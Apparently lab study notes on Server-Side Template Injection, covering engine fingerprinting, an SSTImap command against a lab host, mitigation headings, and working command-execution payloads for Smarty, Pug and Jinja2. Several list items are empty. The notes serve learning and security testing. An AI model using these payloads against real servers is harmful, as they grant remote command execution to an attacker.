Server-Side Template Injection

Overview

Server-Side Template Injection happens when untrusted input is interpreted by a server-side template engine as template code instead of plain data. That can lead to information disclosure, file access, and sometimes direct command execution depending on the engine and security configuration. These notes cover the SSTI mental model, engine fingerprinting, exploitation patterns for Smarty, Pug, and Jinja2, and the role of SSTImap in automating detection.

What SSTI Is

Template engines generate dynamic HTML by combining a fixed template with runtime data. The vulnerability appears when attacker-controlled input is inserted into a template context in a way that the engine evaluates as template syntax.

That means the attacker is no longer just injecting text into the page. They may be injecting logic into the server-side rendering step itself.

Why Template Engines Matter

Template engines exist to make dynamic rendering easier. They typically support:

That flexibility is exactly what makes SSTI dangerous. If user input lands in the wrong place, the engine may execute the payload as code or expression logic.

Common Template Engines

Fingerprinting the Engine

Different engines evaluate the same input differently. Small arithmetic payloads are often enough to distinguish them.

Jinja2 or Twig Style

{{7*7}}

Both may return 49.

Twig vs Jinja2 Distinction

{{7*'7'}}

Pug/Jade Style

#{7*7}

If the application returns 49 here, Pug is a strong candidate.

Smarty Exploitation

Smarty can become dangerous when PHP function execution is exposed inside templates.

Basic detection:

{'Hello'|upper}

If the output becomes HELLO, the template is being processed by Smarty.

A direct execution payload may look like:

{system("ls")}

If PHP function calls are not restricted by the security policy, that can lead directly to command execution.

Pug Exploitation

Pug is dangerous because it can evaluate JavaScript expressions inside interpolation syntax.

Basic detection:

#{7*7}

A command-execution style payload often leverages Node.js internals:

#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}

When arguments are needed, they should be passed separately rather than as one shell-style string:

#{root.process.mainModule.require('child_process').spawnSync('ls', ['-lah']).stdout}

Reason: spawnSync expects a command and an argument array. Passing 'ls -lah' as one string does not behave the same way.

Jinja2 Exploitation

Jinja2 is powerful because it can expose Python object internals through attribute access and class traversal when sandboxing is weak or absent.

Basic detection:

{{7*7}}

One common exploitation path uses Python class traversal and builtins recovery to import subprocess:

{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['ls', '-lah'])}}

The exact subclass index can vary by environment, so the exploitation path usually requires environment-specific adjustment rather than assuming one hardcoded index always works.

Why These Payloads Work

Each engine exposes different primitives:

The exact final payload is engine-specific, but the testing process is consistent: confirm expression evaluation first, identify the engine, then look for code execution or sensitive object access.

SSTImap

SSTImap automates SSTI detection and exploitation across multiple engines. It is useful when you already suspect template injection and want to speed up engine identification and capability testing.

Basic usage example:

python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page='

SSTImap can help with:

Testing Approach

Mitigation

Jinja2

Pug/Jade

Smarty

General rule: user input should be rendered as data, never evaluated as template logic.

Key Takeaways